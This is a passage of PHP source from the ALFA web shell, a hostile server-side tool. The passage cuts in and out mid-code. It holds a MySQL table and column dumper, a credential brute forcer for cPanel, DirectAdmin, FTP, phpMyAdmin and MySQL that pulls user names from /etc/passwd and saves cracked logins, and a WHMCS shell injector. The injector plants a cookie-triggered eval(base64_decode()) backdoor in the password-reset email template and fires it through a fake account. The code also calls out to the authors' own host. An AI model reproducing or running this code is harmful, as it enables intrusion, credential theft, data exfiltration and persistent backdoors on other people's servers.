$GLOBALS["DB_NAME"]["pass_rand"];\n$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];\n$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];\n$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];\n$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];\n$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];\n$find_user = \'/\\\'\'.$user_rand.\'\\\'(.*?),/i\';\n$find_pw = \'/\\\'\'.$pass_rand.\'\\\'(.*?),/i\';\n$find_lg = \'/\\\'\'.$login_page_rand.\'\\\'(.*?),/i\';\n$find_p = \'/\\\'\'.$safemode_rand.\'\\\'(.*?),/i\';\n$icons = \'/\\\'\'.$show_icons_rand.\'\\\'(.*?),/i\';\n$postEnc = \'/\\\'\'.$post_encryption_rand.\'\\\'(.*?),/i\';\n$cgi_api_reg = \'/\\\'\'.$cgi_api_rand.\'\\\'(.*?),/i\';\nif(!empty($username)&&preg_match($find_user,$data,$e)){\n$new = \'\\\'\'.$user_rand.\'\\\' => \\\'\'.$username.\'\\\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(!empty($_POST[\'alfa4\'])&&preg_match($find_pw,$data,$e)){\n$new = \'\\\'\'.$pass_rand.\'\\\' => \\\'\'.$password.\'\\\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(!empty($lgpage)&&preg_match($find_lg,$data,$e)){\n$new = \'\\\'\'.$login_page_rand.\'\\\' => \\\'\'.$lgpage.\'\\\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(!empty($find_p)&&preg_match($find_p,$data,$e)){\n$new = \'\\\'\'.$safemode_rand.\'\\\' => \\\'\'.$protect.\'\\\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(preg_match($icons,$data,$e)){\n$new = \'\\\'\'.$show_icons_rand.\'\\\' => \\\'\'.$icon.\'\\\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(preg_match($postEnc,$data,$e)){\n$new = \'\\\'\'.$post_encryption_rand.\'\\\' => \'.$post_encrypt.\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(preg_match($cgi_api_reg,$data,$e)){\n$new = \'\\\'\'.$cgi_api_rand.\'\\\' => \'.$cgi_api_val.\',\';\n$data = str_replace($e[0],$new,$data);\n}\nif(@file_put_contents($basename,$data)){\necho \'<b>UserName: </b><font color="green"><b>\'.$username.\'</b></font><br /><b>Password: </b><font color="green"><b>\'.$_POST[\'alfa4\'].\'</b></font><script>post_encryption_mode = \'.$post_encrypt.\';</script>\';\n}else{\n__alert("<span style=\'color:red;\'>File has no edit access...!</span>");\n}\n}else{\n__alert("<span style=\'color:red;\'>UserName is Empty !</span>");\n}\n}\n}elseif($_POST["alfa8"] == "color"){\necho(\'<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\\\'post\\\'>\');\necho \'<table border="1"><tbody>\';\n$template = \'<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>\';\n$x = 1;\nforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\n    $multi = "";\n    if(is_array($value)){\n        if(isset($value["multi_selector"])){\n            $multi = __ZW5jb2Rlcg(json_encode($value));\n        }\n    }\n    $value = alfa_getColor($key);\n    $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));\n    echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);\n}\necho \'<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>\';\n\necho \'</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\\\'importFileBtn\\\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,\\\'export\\\',\\\'color\\\')" class="button"> Export </button></center></p>\';\nif($_POST[\'alfa7\']==\'export\'){\n    echo __pre();\n    $colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();\n    $glob_colors = $GLOBALS["__ALFA_COLOR__"];\n    $array = array();\n    foreach($glob_colors as $k => $v){\n        if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\n            $v = trim($colors[$k]);\n        }else{\n            $v = trim(is_array($v)?$v["key_color"]:$v);\n        }\n        $array[$k] = $v;\n    }\n    $file = "alfa_color_config_".date(\'Y-m-d-h_i_s\').".conf";\n    $config = json_encode($array, JSON_PRETTY_PRINT);\n    if(!@file_put_contents($file, $config)){\n        echo(\'<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">\'.$config.\'</textarea></center></p>\');\n    }else{\n        echo(\'<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$file.\'\\\', \\\'download\\\')"><font color="#0F0">Download Config</font></a></center></p></h3>\');\n    }\n}\nif($_POST[\'alfa2\']==\'>>\'){\n    echo __pre();\n    $colors = json_decode($_POST["alfa1"],true);\n    $array = "";\n    $is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;\n    $glob_colors = $GLOBALS["__ALFA_COLOR__"];\n    foreach($glob_colors as $k => $v){\n        if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\n            $v = trim($colors[$k]);\n        }else{\n            $v = trim(is_array($v)?$v["key_color"]:$v);\n        }\n        $array .= \'"\'.trim($k).\'" => "\'.$v.\'",\';\n    }\n    @chdir($GLOBALS[\'home_cwd\']);\n    $basename = @basename($_SERVER[\'PHP_SELF\']);\n    $data = @file_get_contents($basename);\n    $color = \'/\\\'color\\\'(.*?)\\),/s\';\n    if(preg_match($color,$data,$e)){\n        $new = "\'color\' => array(".$array."),";\n        $data = str_replace($e[0],$new,$data);\n        if(@file_put_contents($basename, $data)){\n            echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");\n        }else{\n            echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");\n        }\n    }else{\n        echo("<center><p><h3>[-] Error...!</h3></p></center>");\n    }\n}\n}\necho(\'</div>\');\nalfafooter();\n}\nfunction alfaaboutus(){\nalfahead();\necho \'<div class="header">\';\n$news = new AlfaCURL();\n$about_us = $news->Send("http://solevisible.com/aboutus.php");\nif(empty($about_us)){\n$about_us = "<pre><center><img src=\'http://solevisible.com/images/farvahar-iran.png\'><br>\n<b><font size=\'+3\' color=\'#00A220\'>&#9774; ~ PEACE ~ &#9774;</font><br><b>\n<font color=\'#00A220\'>Shell Coded By Sole Sad & Invisible (Cavdar59)</font><br>\n<font color=\'#00A220\'>Contact : solevisible@gmail.com</font><br>\n<font color=\'#00A220\'>Telegram Channel: @solevisible</font><br>\n<font color=\'#FFFFFF\'>Skype : ehsan.invisible</font><br>\n<font color=\'#FFFFFF\'>Skype : sole.sad</font><br>\n<font color=\'#FF0000\'>Persian Gulf For Ever</font><br>\n<font color=\'#FF0000\'>Iranian Programmers</font><br>\n<font color=\'#FF0000\'>############</font><br>\n</center></pre><iframe src=\'tg://resolve?domain=solevisible\' frameborder=\'0\' width=\'0\' height=\'0\'></iframe>";\n}\necho __pre().$about_us;\necho(\'</div>\');\nalfafooter();\n}\nfunction alfacoldumper(){\nalfahead();\necho(\'<div class="header">\');\nAlfaNum(8,9,10);\necho "<center><br><div class=\'txtfont_header\'>| Mysql Column Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"var opt_id=this.getAttribute(\'opt_id\');var delimiter=\'json\';try{if($(\'dumper-delimiter-type\').value == \'delimiter\')delimiter=$(\'dumper-delimiter-input\').value}catch(e){};g(\'coldumper\',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\\"><p>";\n$delimiter = (!empty($_POST[\'alfa1\']) ? $_POST[\'alfa1\'] : \'::\');\n$selected_data = json_decode($_POST[\'alfa2\'], true);\n$username = ($_POST[\'alfa3\']);\n$password = ($_POST[\'alfa4\']);\n$dbname = ($_POST[\'alfa5\']);\n$dfile = ($_POST[\'alfa6\']);\n$host = ($_POST[\'alfa7\']);\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => $host, \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => $username, \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => $password, \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => $dbname, \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Output Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']), \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\n$db = false;\nif(!empty($dbname)){\n    $db = @mysqli_connect($host, $username, $password, $dbname);\n}\nif(count($selected_data) > 0){\n    if($db){\n        if(!is_dir($dfile)){\n            $dfile = $GLOBALS[\'cwd\'];\n        }\n        $tbls = "";\n        $ext = \'.txt\';\n        if($delimiter == \'json\'){\n            $ext = \'.json\';\n        }\n        foreach ($selected_data as $tbl => $cols) {\n            $tables_query = mysqli_query($db, "SELECT ".implode(\',\', $cols)." FROM $tbl");\n            $file_name = $dfile.\'/\'.$dbname.\'.\'.$tbl.$ext;\n            $fp = fopen($file_name, "w");\n            $data = array();\n            while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\n                if($delimiter == "json"){\n                    $col_arr = array();\n                    foreach ($row as $key => $value) {\n                        if(empty($value)){\n                            $value = "[empty]";\n                        }\n                         $col_arr[$key] = $value;\n                    }\n                    $data[$tbl][] = $col_arr;\n                }else{\n                    $data = "";\n                    foreach ($row as $key => $value) {\n                        if(empty($value)){\n                            $value = "[empty]";\n                        }\n                        $data .= $value . $delimiter;\n                    }\n                    fwrite($fp, $data ."\\n");\n                }\n            }\n            if($delimiter == "json"){\n                fwrite($fp, json_encode($data));\n            }\n            fclose($fp);\n            $tbls .= "Done ~~~> ".$file_name."<br>";\n        }\n        echo __pre();\n        echo "<center><font color=\'#00FF00\'>".$tbls."</font></center>";\n    }\n}\nif(!empty($dbname) && count($selected_data) == 0){\n//echo __pre();\nif($db){\n    echo("<hr><div style=\'text-align:center;margin-bottom:5px;font-weight:bolder;\'><span>[ Select your tables and columns for dumping data ]</span></div>");\n    echo("<div style=\'text-align:center;\'><span>Output Type: </span><select id=\'dumper-delimiter-type\' onchange=\'colDumplerSelectType(this);\' name=\'output_type\'><option value=\'delimiter\' selected>delimiter</option><option value=\'json\'>json</option></select><div id=\'coldumper-delimiter-input\' style=\'display:inline;\'><span> Delimiter: </span><input id=\'dumper-delimiter-input\' style=\'text-align:center;\' type=\'text\' name=\'delimiter\' placeholder=\'eg: ,\'></div></div>");\n    $data = array();\n    $tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");\n    while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\n        $data[$row["table_name"]] = array();\n        $table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row[\'table_name\']."`");\n        $table_count = mysqli_fetch_row($table_count_q);\n        $data[$row["table_name"]]["data_count"] = $table_count[0];\n        $columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = \'".$row[\'table_name\']."\'");\n        while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\n            $data[$row["table_name"]]["cols"][] = $row2["column_name"];\n        }\n    }\n    mysqli_close($db);\n\n    echo \'<ul id="myUL">\';\n    foreach($data as $tbl => $cols){\n        echo \'<li><span style="color:#00FF00;" class="box">\'.$tbl.\' (\'.$cols["data_count"].\')</span><ul class="nested">\';\n        foreach($cols["cols"] as $col){\n            echo \'<li tbl="\'.$tbl.\'"><span style="color:#00FF00;" tbl="\'.$tbl.\'" class="box sub-box">\' . $col . \'</span></li>\';\n        }\n        echo \'</ul></li>\';\n    }\n    echo \'</ul>\';\n}else{\necho(\'<center>mysqli_connect : Error!</center>\');\n}\n}\necho(\'</div>\');\nalfafooter();\n}\nfunction alfaDumper(){\nalfahead();\necho(\'<div class="header">\');\nAlfaNum(8,9,10);\necho "<center><br><div class=\'txtfont_header\'>| Mysql Database Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"g(\'dumper\',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\\"><p>";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Dump Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']).\'alfa.sql\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\n$username = ($_POST[\'alfa3\']);\n$password = ($_POST[\'alfa4\']);\n$dbname = ($_POST[\'alfa5\']);\n$dfile = ($_POST[\'alfa6\']);\n$host = ($_POST[\'alfa7\']);\nif(!empty($dbname)){\necho __pre();\n$msg = "<center>Check this :  <font color=\'red\'>".$dfile."</font></center>";\nif(@mysqli_connect($host,$username,$password,$dbname)){\nif(strlen(alfaEx("mysqldump"))>0){\nalfaEx("mysqldump --single-transaction --host=\\"$host\\" --user=\\"$username\\" --password=\\"$password\\" $dbname > \'".addslashes($dfile)."\'");\necho($msg);\n}else{\n__alert("Error...!");\n}\n}else{\necho(\'<center>mysqli_connect : Error!</center>\');\n}\n}\necho(\'</div>\');\nalfafooter();\n}\nfunction Alfa_DirectAdmin_Cracker($info){\nif(!$info[\'mysql\'])\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'].\'/CMD_LOGIN\';\nelse $url = $info[\'protocol\'].$info[\'target\'].\'/phpmyadmin\';\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\ncurl_setopt($curl, CURLOPT_HEADER,0);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($curl, CURLOPT_URL,$url);\ncurl_setopt($curl, CURLOPT_USERPWD, $info[\'username\'].\':\'.$info[\'password\']);\nif($info[\'mysql\'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\n$result = @curl_exec($curl);\n$curl_errno = curl_errno($curl);\n$curl_error = curl_error($curl);\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\nelseif(preg_match(\'/CMD_FILE_MANAGER|frameset/i\',$result)){\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\n$info[\'target\'] = $url;\nCrackerResualt($info);\n}\ncurl_close($curl);\n}\nfunction Alfa_CP_Cracker($info){\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'];\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\ncurl_setopt($curl, CURLOPT_HEADER,0);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER,1);\ncurl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info[\'username\'].":".$info[\'password\']) . "\\n\\r"));\ncurl_setopt($curl, CURLOPT_URL, $url);\n$result = @curl_exec($curl);\n$curl_errno = curl_errno($curl);\n$curl_error = curl_error($curl);\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\nelseif(preg_match(\'/filemanager/i\',$result)){\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\n$info[\'target\'] = $url;\nCrackerResualt($info);\n}\ncurl_close($curl);\n}\nfunction Alfa_FTP_Cracker($info){\n$url = $info[\'protocol\'].$info[\'target\'];\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_URL, $url);\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($curl, CURLOPT_USERPWD, "".$info[\'username\'].":".$info[\'password\']."");\n$result = @curl_exec($curl);\n$curl_errno = curl_errno($curl);\n$curl_error = curl_error($curl);\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\nelseif(preg_match(\'/(\\d+):(\\d+)/i\',$result)){\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\n$info[\'target\'] = $url;\nCrackerResualt($info);\n}\ncurl_close($curl);\n}\nfunction Alfa_Mysql_Cracker($info){\nif(@mysqli_connect($info[\'target\'].\':\'.$info[\'port\'],$info[\'username\'],$info[\'password\'])){\nCrackerResualt($info);\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green">  Login Success....</font><br>\';\n}\n}\nfunction Alfa_FTPC($info){\nif($con=@ftp_connect($info[\'target\'],$info[\'port\'])){\nif($con){\n$login=@ftp_login($con,$info[\'username\'],$info[\'password\']);\nif($login){CrackerResualt($info);}}}\n@ftp_close($con);\n}\nfunction CrackerResualt($info){\n$res = $info[\'target\'].\' => \'.$info[\'username\'].":".$info[\'password\']."\\n" ;\n$c = @fopen($info[\'fcrack\'],\'a+\');\n@fwrite($c, $res);\n@fclose($c);\n}\nfunction Alfa_Call_Function_Cracker($method,$info){\nswitch($method){case \'cp\':return Alfa_CP_Cracker($info);break;case \'direct\': case \'phpmyadmin\':return Alfa_DirectAdmin_Cracker($info);break;case \'ftp\':return Alfa_FTP_Cracker($info);break;case \'mysql\':return Alfa_Mysql_Cracker($info);break;case \'mysql\':return Alfa_FTPC($info);break;}\n}\nfunction alfaCrackers(){\nalfahead();\nAlfaNum(9,10);\necho \'<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\\\'Crackers\\\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\\\'start\\\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">\';\nforeach(array(\'cp\'=>\'Cpanel\',\'direct\'=>\'DirectAdmin\',\'ftp\'=>\'FTP\',\'phpmyadmin\'=>\'PhpMyAdmin[DirectAdmin]\',\'mysql\'=>\'mysql_connect()\',\'ftpc\'=>\'ftp_connect()\') as $key=>$val)echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');\necho \'</select> Protocol: <select id="protocol" name="protocol">\';\nforeach(array(\'https://\',\'http://\',\'ftp://\') as $val)echo(\'<option value="\'.$val.\'">\'.$val.\'</option>\');\necho \'</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">\nPort: <input id="port" type="text" name="port" value="2083">\n<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>\n<textarea placeholder="Users" rows="20" cols="25" name="usernames">\'.($GLOBALS[\'sys\']==\'unix\'?alfaEx("cut -d: -f1 /etc/passwd"):"").\'</textarea>\n&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>\nSave Result Into File <input type="text" name="fcrack" value="cracked.txt">\n<p><input type="submit" name="cracking" value=" " /></div></form></p><center>\';\n$target = str_replace(array(\'https://\',\'http://\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\n$port = $_POST[\'alfa2\'];\n$usernames= $_POST[\'alfa3\'];\n$passwords = $_POST[\'alfa4\'];\n$fcrack = $_POST[\'alfa5\'];\n$cracking = $_POST[\'alfa6\'];\n$protocol = $_POST[\'alfa7\'];\n$loginpanel = $_POST[\'alfa8\'];\n$p = $loginpanel == \'phpmyadmin\' ? $p = true : false;\nif($cracking==\'start\'){\necho __pre();\n$exuser = explode("\\n",$usernames);\n$expw = explode("\\n",$passwords);\nforeach($exuser as $user){\nforeach($expw as $pw){\n$array = array(\'username\' => trim($user),\'password\' => trim($pw),\'port\' => trim($port),\'target\' => trim($target),\'protocol\' => trim($protocol),\'fcrack\' => trim($fcrack),\'mysql\' => $p);\nAlfa_Call_Function_Cracker($loginpanel,$array);\n}\n}\necho \'<br><font color="red">Attack Finished...</font>\';\n}\necho \'</div>\';\nalfafooter();\n}\nfunction output($string){ echo "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$string."\'>Click Here !</a></font></b></center><br><br>";}\nfunction alfaShellInjectors(){\nalfahead();\necho \'<div class=header>\';\nAlfaNum(11);\necho \'<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,\\\'whmcs\\\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,\\\'mybb\\\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,null,\\\'vb\\\')">| vBulletin |</a></h3></center>\';\n$selector = \'<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>\';\nif(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']== \'whmcs\'){\nAlfaNum();\necho __pre()."<p><div class=\'txtfont_header\'>| WHMCS |</div></p><center><center><p>".getConfigHtml(\'whmcs\')."</p><form onSubmit=\\"g(\'ShellInjectors\',null,\'whmcs\',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\" method=\'post\'>";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Path WHMCS Url : \', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host : \', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name : \', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User : \', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass : \', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho $selector;\necho "<p><input type=\'submit\' value=\' \'></p></form></center></td></tr></table></center>";\nif(isset($_POST[\'alfa6\'])) {\n$dbu = $_POST[\'alfa6\'];\n$dbn = $_POST[\'alfa7\'];\n$dbp = $_POST[\'alfa8\'];\n$dbh = $_POST[\'alfa9\'];\n$path = $_POST[\'alfa10\'];\n$method = $_POST[\'alfa4\'];\n$index = "{php}".ALFA_UPLOADER.";{/php}";\n$newin = str_replace("\'","\\\'",$index);\n$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\\"{\\$pw_reset_url}\\">{\\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\\$signature}</p>{php}if(\\$_COOKIE[\\"sec\\"] == \\"123\\"){eval(base64_decode(\\$_COOKIE[\\"sec2\\"])); die(\\"!\\");}{\\/php}";\nif(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){\nif(filter_var($path,FILTER_VALIDATE_URL)){\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());\n$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\n$soleGet = mysqli_fetch_assoc($soleSave);\n$tempSave1 = $soleGet[\'message\'];\n$tempSave = str_replace("\'","\\\'",$tempSave1);\nmysqli_query($conn,"UPDATE tblconfiguration SET value = \'1\' WHERE setting = \'AllowSmartyPhpTags\'") or die (mysqli_error($conn));\n$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE name=\'Password Reset Validation\'";\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\nif(function_exists(\'curl_version\') && $method == \'auto\'){\n$AlfaSole = new AlfaCURL(true);\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\n__alert("shell injectet...");\n$ff= \'http://\'.$path."/solevisible.php";\noutput($ff);}else{\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target => </font><a href=\'".$path."/pwreset.php\' target=\'_blank\'>".$path."/pwreset.php</a><br/><font color=\'#FFFFFF\'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$path."/solevisible.php\' target=\'_blank\'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert(\'Path is not Valid...\');}}}\n}if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']== \'mybb\'){\nAlfaNum(1,2,3,5);\necho __pre()."<p><div class=\'txtfont_header\'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id=\'sendajax\' onSubmit=\\"g(\'ShellInjectors\',null,null,\'mybb\',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\" method=POST>\n";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'dbh\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'dbn\', \'id\'=>\'db_name\' ,\'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'dbu\', \'id\'=>\'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => 